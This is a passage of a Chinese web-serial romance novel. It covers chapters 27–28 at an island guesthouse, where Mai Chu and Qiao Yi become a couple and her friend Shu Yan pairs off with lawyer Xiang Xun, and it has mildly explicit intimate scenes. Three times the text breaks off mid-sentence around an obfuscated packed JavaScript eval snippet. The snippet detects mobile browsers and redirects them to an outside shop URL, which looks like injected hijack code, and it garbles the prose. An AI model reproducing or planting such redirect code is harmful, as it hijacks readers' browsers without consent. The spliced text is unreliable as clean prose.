他迅速往大厅扫视了一圈,却并没有像往常那样一眼就捕捉到乔翊的身影。
于是他重新转向瞿阿姨,急切地询问起来。
“小乔人呢?送客户上去还没下来吗?你后来看到他没有?”
瞿阿姨还保持着手握座机话筒的姿势,尚未回拨的她回答道,“刚刚那位顾客坐电梯上去的时候,乔老师又跟着送他去房间了。”她想了想,又赶紧补充,“对了,就是那位穿着西装,和麦小姐在一起的客人。”
佟川听完一愣,“麦初,麦初也一起上去了?”
瞿阿姨点了点头,“对,三个人都一起坐电梯上去的。”
佟川的脑袋“嗡”的一声,所有信息碎片也在这一瞬间自动拼接,大脑极速运转。
“也就是说,532住的是那个西装男,他刚才从房间里打电话跟你抱怨楼上房间太吵,要求换房,而他楼上632的住客是麦初,几分钟前乔翊跟她一起上了电梯,到现在都还没下来?”随着佟川的逻辑越发清晰,他的语速也越来越快,只见他目光紧紧锁住瞿阿姨,几乎是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182760|196967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
绷着声音在确认,“是吗?”
瞿阿姨被他这一连串的追问弄得直发懵,她迟疑地点了点头,不解地问:“佟老板,是……是有什么问题吗?”
佟川一口气差点没上来,他一只手扶住前台才勉强维持站在原地的姿势。
“儿子。”他闭了闭眼,呼唤佟光,“去把青草膏拿来,我现在只想立刻马上提个神醒个脑。”
佟光却站在原地一动不动,他告诉他,“青草膏昨天就被老乔拿走啦,不知道他拿到哪儿去了,反正我是没再看到。”
佟川一听又是乔翊,两眼一抹黑,只想死死掐住自己的人中,防止自己当场气昏过去。
他们怎么敢?敢在人家男朋友的眼皮子底下这样胡来,做偷情这种荒唐事的?
疯了,全都疯了!
佟川正在前台凌乱,麦初和乔翊也刚在房间凌乱完。
还一无所知的麦初,事后趴在乔翊身上喘气,由于心里还记挂着那桩正事,便轻声问道。
“我自作主张地把小岛和‘倦’推了出去,你生气吗?”
乔翊的指尖依依不舍地盘绕着她的发梢,他摇了摇头,“为什么要生气?我看着很小气?”
“不是。”麦初解释,“毕竟这座小岛对你而言意义非凡,‘倦’也灌溉了你所有的心血,我没有资格替你做任何安排……”
“你有。”乔翊却在她尚未说完话时,直接给予了最笃定的回应。
麦初呼吸一滞,抬眼撞进他的视线里。
乔翊目光灼灼,字字恳切。
“你有资格麦初,如果你愿意,以后,这里就是你的家。”
偌大的房间异常静谧,麦初贴在他的胸膛,心跳互动中带着他的真情实意,她呼吸节拍一乱,鼻尖一酸,热泪便不受控制地漫了眼眶。
乔翊伸手抚上她的脸颊,用温热的指腹拭去那迫在眼睫的晶莹。
“但这里不会束缚你,你永远是你自己,可以飞往任何地方,如果你飞得累了、倦了,这座小岛依旧会一直守在这里,等你回家。”
麦初潸然泪下,她却将脸埋进他怀里,别扭地不想让他看见自己此刻的脆弱,她声音闷闷地,但是格外清晰。
“乔翊,你是这个世界上,除了我爸妈和姝言之外,第三个对我这么好的人。”
乔翊没有强迫她正视自己,只是拉起被子,将两个人严严实实地包裹在一起。
“那我们都很幸运,除了家人,还有一群懂彼此的朋友,能互相支撑着走到今天,即使在最艰难的时候,我们都没有真正放弃过自己。”他温柔地揉了揉她试图躲避的小脑袋,“这么一想,我们还挺了不起的。”
“可是乔翊,跟我在一起,会承受很多压力,我不是素人,又黑料一堆,一点小事都可能被人放大到网上,影响你原本平静的生活。而且……”她被子下的手指微微收紧。
“我好像总是给身边的人带来许多麻烦,大家在网络上看到的那个我,也是照着众人期待的样子演出来的,真实的我并没有镜头前的那么好。有时候,我真的挺差劲的。”
乔翊的手轻抚着她的后背,像每一次及时给予的力量,给她最肯定的支撑。
“可我认识的麦初是一个勇敢,清醒,善良,坚定的人,你一点也不差劲,从你来到岛上的第一天起,这里的一切都在变好。”他开始慢慢细数,一一罗列,“是你保护了同行的女孩们,阻止了一场恶意的滋长;李奶奶的果园也在你的建议下重找到机遇;你也用自己的人脉为民宿挣来一线新希望。而你做这些时,全都是遵从内心的本能,也没想过要什么回报。”他扶握着她的肩膀,“你看,整座小岛都因你的出现,重新焕发了生机,你并没有带来麻烦,你是整座小岛的幸运,是大家的幸运,更是我的幸运。”
麦初抬起湿漉漉的眼睛望向他,睫毛上还闪着细碎的光,她吸了吸鼻子说。
“乔翊,你能不能别在我哭的时候表白。”
乔翊深深看进她眼里,没有回避,也没有退让,“那你呢?愿不愿意接受我的表白?”
他伸出手,擦去她脸颊上的湿润,继续问她,“你愿不愿意给我一个名分?而不是只在别人视频中做你的绯闻男主角?”
麦初整个人陡然一滞,然后抬手轻轻捧住他的脸,满眼探寻。
“你都,都知道了?”
她前后的反差令乔翊眼底不禁泛起笑意,一下起了逗弄她的心思,便揣着明白装糊涂起来。
“知道什么?”
“那段视频?”
“哪段?”
“就那段啊!”
乔翊这才佯装恍然,慢悠悠地,一字一字地吐露出来。
“最伟大的一见钟情?”
麦初这才知道自己被戏耍了,她脸红地圈着他的颈脖,又羞又恼地轻晃着他。
“乔翊!”
乔翊却收拢手臂,将她更深地拥入怀中,
他放轻声音,那句话有力地落在她的耳边。
他说。
“麦初,欢迎你回家……”
麦初眼圈再次灼热,这一次,她没有再躲闪,她任由那滚烫的热意决堤,也同样勇敢地向乔翊靠近一步,她双臂收拢,紧紧搂住了他的脖子。
这个用尽全身力气的拥抱,便是她最直接肯定的回应。
27. 27
姝言于当天下午正式抵达了夏安岛。
还没跟麦初碰上面,她刚踏进民宿,目光就被一道清隽的身影牢牢吸引住,她立刻将眼前的墨镜推到发顶,视线一直落在他身上挪不开,仿佛在欣赏一件奇珍异宝。
此行的真正目的一下被抛在了脑后,她忍不住低叹,“这地方还能有意外收获,看来这小岛真有点意思啊。”
趁那帅哥忙着替他们搬运行李的空档,她忙不迭掏出名片走了过去,瞬间切换到工作模式。
“你好,打扰一下,我是一名电视编导。”她礼貌地将名片递送过去,“是这样的,我们正在筹备一档综艺节目,觉得你的形象气质都很符合我们这个节目,不知道你有没有兴趣了解一下?”
乔翊扫了一眼她递来的名片,上面“姝言”两个字赫然映入眼帘,随即抬眼看向她。
就在他做这个动作的瞬间,姝言瞄准时机,用自己毒辣的眼睛将他从上到下都扫描了个遍。
无论是身高、气质、骨相,简直堪称建模级别,每一项都完美到无可挑剔,这一眼吸睛的外在条件,俨然一个行走的镜头聚焦点。
正当她盘算着如何才能说服他接受自己的节目邀请。
谁知帅哥下一秒却毫无征兆地反问,“你是麦初的朋友?”
姝言先是一愣,可转念一想,麦初在这儿住了这么些天,民宿服务生认识她也很正常,但又不免得觉得蹊跷,即便他认识麦初,也没道理连她朋友的名字都知道的这么清楚吧?
正当她心生疑窦之际,身后的电梯“叮”一声缓缓打开,麦初和向洵一前一后地从里面走了出来。
见到她后,两人几乎异口同声。
“姝言!”
“姝言!”
姝言闻声蓦然回头,眼底瞬间亮了起来。
“家人!我的家人啊!”
终于见到麦初的她大为激动,立刻抛下行李和同事,张开手臂就朝她飞跑过去。
麦初第一时间与她紧紧相拥,两人都带着久别重逢的雀跃。
姝言还不忘捧着她的脸查看,“让我好好看看你的漂亮脸蛋瘦了没。”她不看还好,一看果然有些不满,“你的肤若凝脂、肌如白雪呢,怎么都晒黑了啊?”
麦初对此却不甚在意。
“这里是海岛,难免风吹日晒的,后期注意防晒还能白回来的。”
姝言在查看时无意瞥见麦初颈边的红印,正想关心,却被向洵突如其来的招呼声给打断了。
久候一旁的他长身伫立,只说了一声,
“好久不见,姝言。”
要说他的出现,那完全在姝言的意料之外。
她以为昨晚他只是随口一问,却不曾想他仅用半天的时间就抵达了这里,并且还在她之前,在暗叹他执行力如此之快的同时有个问题也随之而来。
他明明时间宝贵,却有什么值得他这样匆忙地奔赴于此?
是为事还是因人?
她转过身,对他展颜Say Hi。
“好久不见啊,向大律师。”但与刚才拥抱麦初的热情全然不同,她以握手这种相对含蓄的方式回应着他刚才的问候。
向洵看着她伸出的手,为之一怔。
以他们的相识程度,握手这个动作在此刻显得既生分又刻意,他以为他们之间的关系早已不该停留在握手这种基本社交礼仪的客套了。
他们的交集始于共同好友的几场聚会,后来她因为麦初的事,在朋友的推荐下才与他成为微信好友,随着咨询逐渐频繁,两人私下的交集才真正多起来,从那之后,他那原本单调的微信朋友圈里,也开始变得丰富多彩。
她大概是他的好友中最有存在感,也是活人感气息最强的那一个,而她的朋友圈更是如同一部日更的生活连续剧,有趣且生动,加上她极具画面感的表述,总引人入胜地想往下一探究竟。
某天,一桩案子扰得他心烦意乱,在公司茶水间透气时,他无意识地滑动手机屏幕,在朋友圈走马观花地浅看人生百态,她的一则最新动态恰好映入眼帘。
——
我说:我命由我不由天!
天说:可以,但外卖还得你自己下楼去取。
?哭emoji
向洵原本紧锁的眉心忽然一松,竟不由自主地笑出了声。
由于前后反差过于鲜明,引得旁边同事忍不住用肩膀碰了碰他,他们好奇地探头凑近,“看什么笑这么开心?刚刚脸色还阴沉得一副要吃人的样子,给我们也看看呗。”
他几乎是下意识地抬手遮挡,立刻按熄屏幕,将手机藏进掌心。
“商业机密。”
说完,他手捧咖啡回自己办公室,只是那一路上,悄然映上嘴角的笑意,却再也没能隐藏住。
联络越发密切后,为了打消她的顾虑,他主动提出如果她们信任的话,他可以担任麦初的代理律师。
谁知消息发出,却如石沉大海,迟迟没有得到回复,漫长的等待让他逐渐清醒,或许人家早有人选,自己只不过是个可供参考的Plan B。
正当他准备收起这份自作多情时,手机屏幕又骤然亮起,姝言直接打来了一个语音通话。
接通后,那头先是传来她的抱歉声。
“不好意思向律师,刚才我们项目策划上有个突发状况,我被同事拉过去讨论了一下,现在忙好了。”紧接着她的声音变得明亮起来,快要按捺不住心中的激动,“真的吗向律师,你真的可以做我朋友的代理律师?帮她处理这棘手的纠纷?”
那份热切的期盼,仿佛要透过电波溢出传播到他这头。
在得到他的肯定答复后,电话立刻被她全然不设防的喜悦满满占据,他甚至都能想象出她开心得在原地跳跃的生动画面。
不过兴奋过后,她的声音又迅速回归到理智状态,“你帮我这么大的忙,我一定要请你吃饭!你什么时候方便啊向律师?”
自此之后,麦初成为了他们关系中最重要的一环,由于要频繁商讨她的案子进展,三人总凑在一起吃饭,然而除却麦初的事,他和姝言之间仿佛始终隔着一张无形的桌子,从未有过一顿真正属于他们、只属于他们彼此的饭。
饭桌上的姝言,也依旧是那个活泼的焦点,每次与其说是一同进餐,不如说是她即兴发挥的脱口秀现场,他与麦初则是最忠实稳定的观众。
他常常对着可口的佳肴不为所动,而是半撑着脸颊,目光安静地落在她讲述所见所闻神采飞扬的脸上,笑意从眼底流淌而出,纯粹而专注,仿佛在欣赏一场精彩绝伦的演出。
姝言总说,她的幽默只有他和麦初能get到,言语中颇有找到知音般的小小得意。
但她偶尔也会半开玩笑半认真地问他,“你每次笑该不会是怕我尴尬,在配合我吧?”
向洵迎着她的目光,回得毫不犹疑,“怎么会,我都是发自肺腑地在笑。”
姝言笑意继续在脸上漫开,她朝他俏皮地眨眨眼,“那要是我以后真转行去讲脱口秀了,送你一张vip票咯。”
向洵无比认真地摇头,“不用送,我会第一时间去买一张,做你的第一个观众。”
姝言只当他是说笑,捂着嘴笑弯了眼,她打趣道:“向律师,你一本正经却胡说八道的样子,也很搞笑好不好?”
……
明明已经那般熟稔了,而如今,她似有意想跟他划开界限。
向洵迟疑了一会儿,也伸出手与她相握,可他的指尖才与她轻轻一触,她便立刻缩收了回去,那过于迅速的疏离,令向洵更加确定她在躲他。
他不由蹙眉。
她该不会是以为他这番日夜兼程、不辞辛苦地来到这里,全只是为了麦初?
向洵迫切地想解开其中误会,但姝言没再给他开口的机会,已转身朝向一旁的乔翊。
“对了帅哥,麻烦你帮我的行李直接送到麦初的房间吧,我跟她住一间就行了。”
乔翊:“……”
麦初:“……”
静默一瞬。
姝言在两人同时投来的意味不明目光中,脸上也浮现出一丝困惑,她询问的目光在她与他之间流转。
“有……什么问题吗?”
问题大了!
麦初再清楚不过自己那还满室荒唐,一片狼藉的房间根本无法示人,哪怕是姝言!
可姝言向往同住的热情已经将她架在了火上,自己在想方设法婉拒她的同时又无法回避那对视中不容敷衍的直率。
最后麦初只得倾身靠近,她拉住姝言的手臂,用闺蜜间再自然不过的耳语,仓促地掰扯出一个话题以此先转移开姝言的注意力。
“那个,他不是服务生,是……老板。”
“哦莫……”姝言一个捂嘴,惊讶地将目光重新聚焦在乔翊身上,“我还以为这儿的老板是来码头我们的那位大叔呢,原来是你?这么年轻的吗?”
乔翊纠正,“他也是老板,我们是合伙人。”
得知了他的真实身份后,本就存有挖人心思的姝言,对他兴趣愈发浓烈,在她更为细致的打量之下,一股似曾相识的熟悉感,也随着视线的勾勒悄然浮起。
身为职业媒体人,在直觉本能的驱使下,她忽然鬼使神差地伸出手,隔空虚虚地掩住了他的下半张脸,目光在他的眉眼间反复游移确认,直到眼前人的模样与印象中的轮廓缓缓重叠,她慢慢睁大了双眼,再次看向麦初时带着急于求证的迫切。
“等等,他是不是……是不是,就是那个蒙面哥?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182761|196967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
麦初知道姝言来到小岛,迟早会知道这个真相,却没想到她竟如此之快辨认了出来,惊叹的同时只能点头默认。
此刻的向洵早已沦为了一个局外人,他身为一个以理解力见长的律师,她们的对话虽声声入耳,却字字不明,全然摸不透两人在打什么暗语,而他想说的话也一直如鲠在喉,寻不到半分插话的时机。
只有姝言在得到麦初那一点头的确认后,难掩心头之奋,当即拍手高呼。
“破案了!全网在猜的真相终于破案了!我的眼睛就是尺!就是尺啊麦初!”
一时之间,大厅里原本各自散落的视线,齐刷刷地朝他们所在的位置聚拢而来。
麦初被这突如其来的注目弄得尴尬不已,赶紧拽住姝言,将她带进了相对私密的餐厅里。
随后,便有了四人各据一方,齐坐在一张餐桌上的画面。
男士并坐一侧,麦初和姝言则挨着坐在对面。
之前的喧嚷仿佛还不绝于耳地缭绕在空气中,与此刻四人面面相觑、各怀鬼胎的微妙气氛,悄然形成对比。
面对面的距离,姝言对乔翊更是连连惊叹,啧啧称奇。
“仙品啊,仙品。”
如果说之前她还在为如何攻略下乔翊而绞尽脑汁,那他“蒙面哥”身份的曝光,便让很多问题迎刃而解,事情这就好办多了。
听着姝言对别人毫不吝啬的夸赞,原本坐姿端直的向洵忽然向后一靠,原本平放的双腿也蓦然交叠,变成防御性的坐姿,似有一道无形的墙自他周身升起,将他与近在咫尺的乔翊自动划分并且隔开,一时之间整个人透出一股生人勿近的抗拒与烦躁。
所以她喜欢的是这挂的?
而捧着水杯正在酝酿的麦初,因喝水的动作将向洵的肢体语言尽收眼底,
她眼尾悄然弯起,像是窥见了什么旁人未觉的小秘密,心中那份早就存有的猜想,也更加确定了。
再到乔翊这边。
他向来不习惯被人这样直面打量,姝言的锲而不舍令他如芒在背,浑身不自在,正起身欲走,却又被她抢占了先机。
姝言不由分说地将名片再次递到他面前,眼底闪着不容置疑的光,话中也满是自信。
“相信我!只要你们来参加这档恋综,我保证,你们一定能火!”
没等乔翊开口,麦初很不合时宜地来了一个打断,“谁们?”
姝言一脸觉得她在说废话的样子,就差要抬手明晃晃地指着他俩鼻子点名道姓了。
只见她眼里几乎要迸出光星子来,带着不容错过机遇的急切,“当然是你们俩!那小视频在全网都快火出天际了,妥妥的大热cp!你俩只要能来,自带流量,绝对能成爆!绝对!”
生怕他们有别的顾虑,她连忙补充解释,“当然,我绝没有要你俩强行绑定的意思,你们的关系进展其实并非关键,重要的是,无论结果如何,你俩都能为节目创造热议话题,成与不成我们有素材可做,所以只要我们合作,就能实现双赢!”
一旁别扭的向洵才走了一会儿神,怎么又听不懂了。
什么小视频?什么cp?谁跟谁cp?什么要爆?什么双赢!
反观麦初,依旧不紧不慢,她缓缓启唇开始了她的前奏,“可恋综……顾名思义,就是给男女嘉宾提供一个牵线配对的机会。”
姝言也喝了一口水,她不可否认地点头,“是啊。”
麦初循循善诱,“按照这个逻辑,恋综的前提是所有嘉宾必须都是单身,如果两人本身就是情侣关系,还打着‘寻求配对’的幌子来参加节目。”她看向姝言,“这不就是妥妥的诈骗?”
起初,姝言还没有多想,她连忙摆手反驳。
“开玩笑,我们根本不会让这种事发生的好吗?让真情侣来演,当现在的观众是傻子吗?我们也不会作死去砸自己的招牌——”
话到一半,她声音戛然而止,眼神也就此僵住,像是突然反应过来什么,猛地侧首回看向麦初。
“你们,你们不会……?”
麦初见时机成熟,便在姝言的目不转睛下,还有向洵茫然的目光中,堂而皇之地伸出了手,她的掌心缓缓地滑入乔翊的指间,将那只因震惊而略显僵硬的手稳稳握住。
乔翊触到她掌心的温软,原本蜷起的指节慢慢松缓,随后一根根舒展开,顺着她的力道与她指尖相扣、收紧,直至十指彻底交缠,骨节相贴,再无一丝缝隙。
空气仿佛也在这紧紧一握间凝住了。
麦初举起她与乔翊缠绕的双手,对着身边以及斜对面彻底傻掉的两人,直接官宣。
“那就正式介绍一下,这是我的男朋友,乔翊。”
姝言:“……”
向洵:“……”
28. 28
起初姝言还不相信,只当这是麦初为了推脱参加综艺随口编造的借口,甚至还在心中暗自嗤笑,这毫无技巧可言的理由太过拙劣,根本糊弄不了她。
直到后来两人在姝言的房间内独处,她亲眼看见了麦初脖子上的种种“证据”,再也笑不出来了,取而代之的是一整个瞳孔地震。
“你都把,把他给睡了?”
好家伙,她一直以为自己这个人已经够癫的了,没想到麦初疯狂起来更胜她一筹,难怪她们能在茫茫人海中成为闺蜜。
这话来得太直白,麦初听得一口气没顺匀,呛得连连咳嗽起来,整张脸都咳红了。
姝言盯着她的颈侧看了又看,“他看着就很有劲,没想到……”细细端倪后连连咂舌,“实操这么厉害的啊。”
姝言语出惊人,让麦初抬手就想给她来个手动闭麦。
“行了,闭嘴吧你。”
姝言哈哈一笑不再逗弄,“难怪你对这座小岛情有独钟,还真被我说中了,在这里遇上艳遇了。”
麦初对此却不认同,她纠正,“是正缘。”
“是是是。”姝言从善如流,当即改口,“是在这儿遇到你的真命天子了。”说完又开始酸溜溜地说,“我这还没怎么着呢,你就无条件站他了。”她故作失望地轻轻推了她一把,“重色轻友。”
麦初这可拒不承认,“哪有。”
姝言也不戳穿她的口是心非,言归正传道,“不过以后异地这个现实问题,你都考虑清楚了?”
这个麦初仿佛早就经过了深思熟虑,她认真看向姝言,“我既然决定做线上旅行社,以后也是天南地北到处奔波,即便没有他,这样的日子都是我的常态。所以这件事的核心不在于异地,而是我足够幸运,遇到了一个能与我的节奏同频共振的人,他能无条件地支持我去拓宽世界,而不是限制我的脚步,让我为他妥协。”
姝言闻言若有所思,她迟疑片刻,最终还是问出了口:“所以,向律师就彻底没戏了?他还特地为你连夜追到了这座小岛……”
麦初一脸震惊地看着她,有些哭笑不得。
“姝言,你那点聪明劲儿全用工作上了是吗?向洵到底为谁来的,你到现在还看不明白?如果他的目标是我,我早就在这岛上了,他何必专门卡着你来的点出现?人家大费周章,又舟车劳顿地跑这一趟,敢情全是抛媚眼给瞎子看呢?”
之前姝言还说她聪明一世糊涂一时,明明她自己也好不到哪儿去。
“你再仔细想想,哪次我跟他谈案子,不是非得等到你过来,凑齐三个人再吃饭?他真想单独跟我谈,我一个无业游民随时都可以约出来,可他偏要等你下班才聚在一起……人家一个大律师,难道很闲吗?”她觉得姝言迟钝得简直无药可救了,“况且他对我俩的态度也是天壤之别,对我只有百分之百的公事公办,可但凡你在场,他整个人状态都不一样,眼里全是别的内容,你不会真以为他是单纯喜欢听你的‘脱口秀’?就你那点芝麻谷子的小八卦,能有人家手上那些动辄百万、反转不断的真实案子精彩?人家随便拎出一个来,都够普通人吃瓜吃上一整年了好吗?”
最后,麦初索性戳破那层窗户纸,指尖轻触姝言额头。
“醒醒吧!工作狂!他接我的案子,从头到尾都是醉翁之意不在酒,是因为在乎你啊!”
姝言整个人像被按了暂停键,愣在原地。
麦初的每一个字都像一把钥匙,猝不及防地打开了她记忆里那些被忽略的细枝末节。那些刻意的等候,那些专注的凝视,那些从前被她当做礼貌或兴之所至的瞬间,此刻全都串联起来,指向一个她从未敢深想的答案。
原来一切早已有迹可循,而她竟一直误以为他的这些举动,都是为了麦初……
人在心慌时,总爱用忙碌的肢体动作来掩饰自己,姝言顺手抓起手边的矿泉水,仰头便灌下大半瓶。
“别开玩笑了,”等她放下水瓶,之前还在大大咧咧打趣麦初的声音,转而绷得发紧,“你又不是不知道,我跟他……我们,一直都是普通朋友。”
麦初忍不住又抬手戳了她脑门两下,“姝言,你就口是心非吧,其实你看他的眼神也不清白。”
麦初对姝言再了解不过,她对异性越是摆在台面上的赞不绝口,反倒越没半点心思,可一旦她开始扭捏含蓄起来,才是藏着说不清道不明的心思。
既然事情的起因是姝言会错了意,误将向洵的心思归到她的身上,那现在便由她来亲手解开这团乱麻,姝言应该就不会再有顾虑与心结了。
姝言被麦初说得一时还没缓过劲来,她怔怔地杵在那儿被麦初戳得脑门嗡嗡作响,连带着思绪也糊成了一团。
这时房门忽然被叩响,麦初只当是姝言办入住时要的备用拖鞋送来了,靠门最近的她便走过去顺手开了门。
谁知门外站着的正是话题主角——向洵。
两人见到对方,俱是一愣,向洵先是抬眼重新核对了一遍房间号,确定没有走错后才率先开口。
“我本来找姝言有点事,没想到你也在。”他自觉唐突打扰了闺蜜二人的相处,语气里还带着几分歉意,“抱歉,那你们先忙。”
“不忙。”麦初一个侧身截住了他要离去的动作,还故意回头召唤,“姝言,向律师有事找你。”
姝言:“……”
就这样,姝言在向洵的邀约下,一同前往了悬崖下的玻璃海,海风不解风情地撩起两人的衣角,两人步履缓慢,并肩走在玻璃海畔,夕阳下,背影和谐而动人。
而楼下餐厅的角落里,麦初正躲在窗户背后,目光悄悄追着他们的动静,这个玻璃海的最佳观赏视角还是佟光告诉她的,很适合一边喝咖啡一边拍照打卡。
另一边,乔翊总算同佟川把前因后果捋清,得知向洵只是麦初的律师,并且来到这里也是因为心有另属。
佟川一直沉着的脸色才终于转霁,但心中仍似搁着什么,终是没有多言,只让他好好想清楚往后的路。
乔翊知道他的顾虑,但这人生长路漫漫,未来遥不可及,此刻他只想守好当下,珍惜眼前。
从后厨走出,他一眼便望见了麦初。她静静立坐在那里望着窗外。
“在看什么?”他递过去一杯温水,也顺着她的视线,不经意地往窗边多看了两眼。
做贼心虚的麦初被惊得一颤,乔翊立刻伸手扶稳她的肩,他掌心温热,声音里满是歉意的温和,“抱歉,吓到你了。”
生怕错过关键的麦初,立刻抬起手指轻轻按在他的唇上,示意他噤声,随即拉着他在身侧坐下,悄悄朝窗外指了指。
乔翊仔细一看,发现端倪。
“他们?”
麦初在他身旁轻轻点头,与他的疑问不同,她的语气里透着一份了然,仿佛早已确认了什么,“嗯,他们。”
麦初还告诉他,“得知姝言今天会到小岛来,向律师又以我的案子为幌子连夜赶了来,其实只是想见她一面,我这个steve平时再不识趣这回也得懂事了。”
“幌子?”乔翊截取了关键词重复。
麦初回眸看他,“不然呢?你也以为向律师是为我而来?”
乔翊试图沉默掩盖真相,麦初轻声一笑,目光如线般缠住他,“所以一开始你那么针对人家,就是吃醋了,对吧?”
乔翊紧紧握住她的手,虽一言未发,但掌心灼热的温度与微微加重的力道,已然代替言语默认了一切。
等麦初再回头望向窗外时,惊得忙捂住嘴才没直接叫出声,她兴奋地拽着乔翊低呼,就差如同操碎心的老母亲般喜极而泣。
“亲了!亲上了!他们终于……”
乔翊却没再看过去,而是捧过她的脸转向自己。
“好了over,给他们留点私人空间。”
“啊老乔、小麦姐,你们,你们怎么?”
小佟光只是去了趟自动贩卖机的工夫,回来就撞见两人这般亲密的模样,小小的他受到了大大的震惊。
好在他爹及时出现,将他视线挡住。
“你别在这儿晃悠,去前厅看看瞿阿姨那边需不需要帮忙。”
“不是啊老爸,可是老乔他,他他他……”佟光踮着脚还想往后瞧,手伸啊伸地试图引起佟川的注意。
可仍遭到他爹的炮轰,“他什么他?快去!”
……
当晚,麦初的房间倒是没再遭到电话投诉,反倒是姝言楼下的住客接连打了好几通前台电话,执意要求换房,把值班的瞿阿姨忙得够呛,心里直嘀咕:这一天天的到底是怎么了?
翌日午餐时分,终于轮到麦初带着笑意打量人了,看着姝言一副倦倦的模样,她故意眨了眨眼,学着她从前调侃自己的样子,以“其人之道,还治其人之身”。
“向律师看起来斯斯文文的,也挺厉害的,看来是憋狠了。”
姝言瞪她一眼,抓起手边的餐包就往麦初嘴边塞,“好好吃你的饭吧你。”
要不是今天还有正事要办,她这会儿真想原地消失。
“对了,正好问你,如果我们后期要敲定拍摄地,‘心动小屋‘这块算是有着落了,那岛上其他取景区域我们该找谁对接?”姝言话锋一转,很快就切换到了工作模式。
麦初认真想了想,给出回答,“应该也是找他。”
姝言明显愣了一下,有些意外地问,“所以你男朋友,他是这儿的……村长?”
正在进食的麦初差点没噎着,她清了清嗓子如实相告,“他是整座小岛的投资人,岛上所有的经营权,都在他手里。”
“投资人?”姝言意识到事情不简单后,立刻向前倾身追问,“既管着民宿又握着整座岛的经营权,请问他的真实身份到底是谁啊?”
“他啊——”
身后的阳光跃过窗户,恰好落在麦初的肩头,金芒碎碎漾开,灿亮得一如她初抵小岛那日。
她静静坐在光影里,眉眼舒展,明媚依旧。
“他就是乔翊啊……”
*
一个月后,小岛迎来了节目组的综艺拍摄。
两个月后,麦初的线上旅行社正式上线,关注度居高不下。
三个月后,一档名为《心跳预报》的恋综横空出世,不仅话题度持续攀升,更迅速创下了综艺收视的最新纪录。
夏安岛一夜爆红,一跃成为国内炙手可热的旅行打卡胜地,而“倦”作为节目中的“心动小屋”更是彻底出圈,大火特火,这股热潮迅速辐射扩散,也带动了周边地区的旅游发展,顺势盘活了地方经济,使夏安岛成功塑造为一个极具影响力的旅游IP。
四个月后,麦初与前公司的纠纷迎来终审,麦初匆匆结束新疆路线的考察,赶回沪城参加两天后的庭审。
她刚走出机场到达口,一边推着行李,一边低头操作手机准备叫网约车,忽然,一个熟悉的声音穿透嘈杂的人声,清晰地在不远处响起。
“麦初。”
只见乔翊就站在接机的人群中,一身挺括的深色呢子大衣,身姿颀长,在熙攘的背景下,他显得格外醒目,而他也静立于人群之中,目光精准地落在她身上,仿佛已等候多时。
短暂的惊讶后,麦初眼眸一亮,立刻
提着步子向他跑去。
乔翊静静站在出口,朝她张开双臂,她带着一点小跑的暖意,稳稳落进他怀里。
“你怎么在这儿?”她埋在他肩头,声音又软又惊。
他之前都没跟她透露过一丝风声。
乔翊托抱着她,温暖的掌心自然地落在她发间,轻轻揉了揉。
“嫂子匹配到了合适的肾源,我陪他们来医院办手续。”
麦初眼睫一颤,一阵惊喜过后轻推一下乔翊的肩膀责怪,“这么要紧的事你怎么现在才说?”
“也是才接到的通知,我们上午到的医院,刚忙完所有手续。”
肾源匹配成功的消息来得突然,他们上午匆匆抵达医院,直至将一切都安排稳妥后,他又马不停蹄赶到机场等她。
“行程这么匆忙,你还来接我?”麦初得知后心底柔软却仍不免嗔怪。
乔翊只是说接她也是要紧事,她心口一暖,着急慌忙间脱口而出现在就要去医院看人,可转念一想晚上探望病人不妥,便与乔翊约好明天一早再去看望。
乔翊颔首,接过行李先送她回家。
乔翊把车停在小区地面,帮麦初把行李一并送进家门。久别重逢,入户门刚一合上,空气里便瞬间漫开压抑不住的滚烫。
下一秒,两人便紧紧缠绕在一块儿。
吻炽热而急切,带着漫长思念的冲撞,星火四溅,天旋地转间,外套接连滑落,在地板上堆成一团凌乱。
亲吻热烈而灼热,从鼻尖到唇瓣,滑过颈侧,最终,最终深烙在柔软起伏的心跳之间。
乔翊一把将她托抱起来,两人之间很快便紧密无间,乔翊鼻翼间喷薄而出的湍急气息快要将麦初整个人吞噬笼罩,仿佛一道无形的浪潮,要将她的意识全部席卷而去。
麦初正意乱情迷,乔翊所有的进犯却戛然而止,紊乱的呼吸在滚烫的寂静中变得空虚。
麦初从云端跌落,恍惚地望向他。
“怎么了?”
乔翊头埋在她的胸口,声音里混着未消的灼热,还有烦闷的压抑。
“没有T。”
麦初顿时像只泄了气的皮球,她惴惴不安地一秒清醒,人还被他温热踏实地托抱着,悬空感却在体内此起彼伏,只得泄愤般在他颈侧轻咬一下,嗡声道,“小区门口有家便利店……”
乔翊低笑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 